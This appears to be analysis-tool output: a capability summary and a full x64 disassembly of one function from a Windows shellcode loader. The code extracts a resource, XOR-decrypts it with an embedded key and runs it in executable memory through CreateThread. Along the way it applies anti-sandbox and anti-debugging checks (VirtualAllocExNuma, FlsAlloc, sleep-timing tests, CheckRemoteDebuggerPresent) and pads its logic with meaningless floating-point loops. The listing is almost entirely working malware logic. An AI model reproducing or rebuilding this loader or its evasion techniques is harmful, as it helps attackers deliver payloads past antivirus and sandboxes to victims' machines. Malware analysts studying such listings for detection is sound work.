Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x2e0], xmm6
mov dword [rbp + 0x310], ecx
mov qword [rbp + 0x318], rdx
call dbg.__main
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x140001527
mov rax, qword [rbp + 0x278]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov ecx, 0
call rax
mov dword [rbp + 0x2dc], eax
cmp dword [rbp + 0x2dc], 0xffffffff
je 0x1400028ea
mov qword [rbp + 0x268], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x260]
mov r9d, 0x3000
mov r8d, 0x330
mov edx, 0
call rax
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0
je 0x1400028ea
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x1400028ea
mov rax, qword [rbp + 0x258]
mov edx, 0x5e1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x254], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
call rax
mov dword [rbp + 0x244], eax
mov ecx, 0x25e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x248]
call rax
mov dword [rbp + 0x240], eax
mov eax, dword [rbp + 0x240]
sub eax, dword [rbp + 0x244]
cmp eax, 0x22c
jbe 0x1400028ea
mov dword [rbp + 0x23c], 0x20b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
call rax
mov dword [rbp + 0x22c], eax
mov eax, dword [rbp + 0x23c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x230]
call rax
mov dword [rbp + 0x228], eax
mov eax, dword [rbp + 0x228]
sub eax, dword [rbp + 0x22c]
cmp eax, 0x1d9
jbe 0x1400028ea
mov qword [rbp + 0x220], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x218]
mov r9d, 0x3000
mov r8d, 0x3e4
mov edx, 0
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x1400028ea
mov dword [rbp + 0x124], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x124]
mov r8, qword [rbp + 0x210]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x124]
cmp eax, 1
je 0x1400028ea
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x1400028ea
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x1400028ea
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
je 0x1400018d8
mov rax, qword [rbp + 0x1f0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov ecx, 0
call rax
mov dword [rbp + 0x2d8], eax
cmp dword [rbp + 0x2d8], 0xffffffff
je 0x1400028ea
mov ecx, 0x118
call sym.malloc
mov qword [rbp + 0x1e0], rax
mov ecx, 0x118
call sym.malloc
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x2d4], 0
jmp 0x1400019a0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x22
jle 0x140001916
mov dword [rbp + 0x2d4], 0
jmp 0x140001a0b
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x22
jle 0x1400019b9
lea rax, str.QWWEVKKVS
movzx eax, ax
lea r8, str.QWWEVKKVS
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x2d0], 0x1e
mov dword [rbp + 0x2cc], 0x1e
mov dword [rbp + 0x2c8], 0x46
mov dword [rbp + 0x2c4], 0x3c
jmp 0x140001b29
mov eax, dword [rbp + 0x2c8]
cmp eax, dword [rbp + 0x2c4]
jle 0x140001ac6
mov eax, dword [rbp + 0x2c8]
cmp eax, dword [rbp + 0x2d0]
jle 0x140001aa6
mov eax, dword [rbp + 0x2c8]
cmp eax, dword [rbp + 0x2cc]
jle 0x140001a9d
sub dword [rbp + 0x2c8], 1
jmp 0x140001b12
sub dword [rbp + 0x2cc], 1
jmp 0x140001b12
mov eax, dword [rbp + 0x2d0]
cmp eax, dword [rbp + 0x2cc]
jle 0x140001abd
sub dword [rbp + 0x2d0], 1
jmp 0x140001b12
sub dword [rbp + 0x2cc], 1
jmp 0x140001b12
mov eax, dword [rbp + 0x2c4]
cmp eax, dword [rbp + 0x2d0]
jle 0x140001af4
mov eax, dword [rbp + 0x2c4]
cmp eax, dword [rbp + 0x2cc]
jle 0x140001aeb
sub dword [rbp + 0x2c4], 1
jmp 0x140001b12
sub dword [rbp + 0x2cc], 1
jmp 0x140001b12
mov eax, dword [rbp + 0x2d0]
cmp eax, dword [rbp + 0x2cc]
jle 0x140001b0b
sub dword [rbp + 0x2d0], 1
jmp 0x140001b12
sub dword [rbp + 0x2cc], 1
mov eax, dword [rbp + 0x2c8]
mov edx, eax
lea rax, [0x14000b067]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x2c8], 0
jg 0x140001a6a
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov eax, eax
mov r8d, 0
mov rdx, rax
mov ecx, 0x40000
mov rax, qword [sym.imp.KERNEL32.dll_HeapCreate]
call rax
mov qword [rbp + 0x1c0], rax
mov ecx, 0x88
call sym.malloc
mov qword [rbp + 0x1b8], rax
mov ecx, 0x88
call sym.malloc
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x2c0], 0
jmp 0x140001c48
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x2c0], 1
cmp dword [rbp + 0x2c0], 0x10
jle 0x140001bbe
mov dword [rbp + 0x2c0], 0
jmp 0x140001cb3
mov eax, dword [rbp + 0x2c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2c0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2c0], 1
cmp dword [rbp + 0x2c0], 0x10
jle 0x140001c61
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov edx, eax
mov rax, qword [rbp + 0x1c0]
mov r8, rdx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x1a8], rax
mov dword [rbp + 0x2bc], 0xffffffff
mov ecx, 0x230
call sym.malloc
mov qword [rbp + 0x1a0], rax
mov ecx, 0x230
call sym.malloc
mov qword [rbp + 0x198], rax
add dword [rbp + 0x2bc], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2bc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x198]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2bc], 0x44
jle 0x140001d24
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov ecx, eax
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1a8]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov dword [rbp + 0x2b0], 0
mov dword [rbp + 0x194], 0
mov ecx, 0x44
call sym.malloc
mov qword [rbp + 0x188], rax
mov dword [rbp + 0x2b4], 0
jmp 0x140001ee6
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x2b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x2b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x188]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2b0], eax
add dword [rbp + 0x2b4], 1
cmp dword [rbp + 0x2b4], 0x10
jle 0x140001e6a
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2ac], 0
mov dword [rbp + 0x2a8], 0
movabs rax, 0x266e924393af754
movabs rdx, 0xae1ab9ae95a4b56
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x3af8fad13651e361
movabs rdx, 0x53008087ff701125
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xd2ef8f0d87cfe6f7
movabs rdx, 0xad7149ac5dfa1b85
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x8ac23b7e8b5d9bff
movabs rdx, 0x8a33b20c9502455a
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x4a7889d24d4c951d
movabs rdx, 0x56c9f1770b1c4179
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7bc704dad18cd90d
movabs rdx, 0x44db4d7ea80fa91e
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xfe9073eb42ea00
mov qword [rbp + 0x10], rax
movabs rax, 0x9736798af925458
movabs rdx, 0xbf5edbc6ec30651d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x2854f2d019e79be4
movabs rdx, 0x68c8935f6d5ad1b5
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x7806fb87465e0795
movabs rdx, 0x1b15bca92cde853b
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xb69d440552e28ce9
movabs rdx, 0x8cf48133c61f4012
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x9905e74a8d20f66b
movabs rdx, 0x7bab810ced2ce384
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x80ad7963e89d3d83
movabs rdx, 0x2c68f6f91f78d27
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xd5faa84fe2c419c2
movabs rdx, 0xe5d4e4ffeb97b08f
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x1e5afafee5d4e4ff
movabs rdx, 0xedcf2bbd72399e
mov qword [rbp + 0x10c], rax
mov qword [rbp + 0x114], rdx
mov dword [rbp + 0x2b8], 0
jmp 0x14000230e
mov eax, dword [rbp + 0x2b8]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x2ac]
cdqe
movzx eax, byte [rbp + rax - 0x50]
xor edx, eax
mov eax, dword [rbp + 0x2b8]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x2a0], 1
jmp 0x1400021d2
mov dword [rbp + 0x2a4], 0
mov eax, dword [rbp + 0x2a0]
mov dword [rbp + 0x29c], eax
jmp 0x1400021a8
mov edx, dword [rbp + 0x29c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x128], edx
mov eax, dword [rbp + 0x128]
imul eax, eax
imul eax, dword [rbp + 0x128]
add dword [rbp + 0x2a4], eax
mov eax, dword [rbp + 0x29c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x29c], eax
cmp dword [rbp + 0x29c], 0
jne 0x14000213d
mov eax, dword [rbp + 0x2a4]
cmp eax, dword [rbp + 0x2a0]
jne 0x1400021cb
mov eax, dword [rbp + 0x2a0]
mov dword [rbp + 0x12c], eax
add dword [rbp + 0x2a0], 1
cmp dword [rbp + 0x2a0], 0xd
jle 0x140002125
cmp dword [rbp + 0x2ac], 0x66
jne 0x140002300
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x138], rax
mov ecx, 0xa4
call sym.malloc
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x294], 0x28
mov dword [rbp + 0x298], 0
jmp 0x140002271
call sym.rand
mov edx, dword [rbp + 0x298]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x138]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x298], 1
cmp dword [rbp + 0x298], 0x28
jle 0x140002224
mov dword [rbp + 0x298], 0
jmp 0x1400022cd
mov eax, dword [rbp + 0x294]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x138]
add rax, rdx
mov edx, dword [rbp + 0x298]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x130]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x294], 1
add dword [rbp + 0x298], 1
cmp dword [rbp + 0x298], 0x28
jle 0x140002286
mov rax, qword [rbp + 0x138]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2ac], 0
jmp 0x140002307
add dword [rbp + 0x2ac], 1
add dword [rbp + 0x2b8], 1
mov eax, dword [rbp + 0x2b8]
cmp eax, 0x7a
jbe 0x1400020eb
mov dword [rbp + 0x2b8], 0
jmp 0x140002678
mov dword [rbp + 0x160], 0
mov ecx, pe_nt_image_headers64
call sym.malloc
mov qword [rbp + 0x158], rax
mov ecx, pe_nt_image_headers64
call sym.malloc
mov qword [rbp + 0x150], rax
mov ecx, pe_nt_image_headers64
call sym.malloc
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x290], 0
jmp 0x140002446
mov dword [rbp + 0x28c], 0
jmp 0x140002432
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x290]
cdqe
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x158]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x28c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x290]
cdqe
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x150]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x28c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x28c], 1
cmp dword [rbp + 0x28c], 3
jle 0x140002387
add dword [rbp + 0x290], 1
cmp dword [rbp + 0x290], 7
jle 0x140002378
mov dword [rbp + 0x290], 0
jmp 0x1400024ff
mov dword [rbp + 0x28c], 0
jmp 0x1400024eb
mov eax, dword [rbp + 0x290]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x158]
add rdx, rax
mov eax, dword [rbp + 0x28c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x290]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x150]
add rdx, rax
mov eax, dword [rbp + 0x28c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x290]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x148]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x28c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x28c], 1
cmp dword [rbp + 0x28c], 3
jle 0x14000246e
add dword [rbp + 0x290], 1
cmp dword [rbp + 0x290], 7
jle 0x140002462
mov rax, qword [rbp + 0x158]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x150]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x2b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2a8]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x2b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x2a8], 0x7a
jne 0x14000258f
mov dword [rbp + 0x2a8], 0
jmp 0x140002671
mov ecx, 0x2f0
call sym.malloc
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x288], 0
jmp 0x1400025fa
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b070]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x288]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x140]
add rax, rdx
movsd xmm1, qword [0x14000b078]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x288], 1
cmp dword [rbp + 0x288], 0x5d
jle 0x1400025ac
mov dword [rbp + 0x288], 0
jmp 0x140002661
mov eax, dword [rbp + 0x288]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x140]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x288]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x140]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x288], 1
cmp dword [rbp + 0x288], 0x5d
jle 0x14000260f
add dword [rbp + 0x2a8], 1
add dword [rbp + 0x2b8], 1
cmp dword [rbp + 0x2b8], 0
js 0x14000232c
mov ecx, 0x50
call sym.malloc
mov qword [rbp + 0x180], rax
mov ecx, 0x50
call sym.malloc
mov qword [rbp + 0x178], rax
mov ecx, 0x50
call sym.malloc
mov qword [rbp + 0x170], rax
mov dword [rbp + 0x284], 0
jmp 0x14000279b
mov dword [rbp + 0x280], 0
jmp 0x140002787
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x284]
cdqe
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x180]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x280]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x284]
cdqe
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x178]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x280]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x280], 1
cmp dword [rbp + 0x280], 3
jle 0x1400026d6
add dword [rbp + 0x284], 1
cmp dword [rbp + 0x284], 4
jle 0x1400026c7
mov dword [rbp + 0x284], 0
jmp 0x140002854
mov dword [rbp + 0x280], 0
jmp 0x140002840
mov eax, dword [rbp + 0x284]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x180]
add rdx, rax
mov eax, dword [rbp + 0x280]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x284]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x178]
add rdx, rax
mov eax, dword [rbp + 0x280]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x284]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x170]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x280]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x280], 1
cmp dword [rbp + 0x280], 3
jle 0x1400027c3
add dword [rbp + 0x284], 1
cmp dword [rbp + 0x284], 4
jle 0x1400027b7
mov rax, qword [rbp + 0x180]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x178]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x170]
mov rcx, rax
call sym.free
mov rdx, qword [rbp + 0x1a8]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x164], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x2e0]
add rsp, 0x378
pop rbx
pop rbp
ret